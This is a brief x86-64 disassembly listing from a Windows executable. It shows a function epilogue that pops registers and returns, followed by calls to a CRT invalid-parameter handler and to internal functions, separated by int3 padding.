mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001110
int3
call fcn.1400011b0
nop
call fcn.1400011b0
int3
call fcn.140001110
int3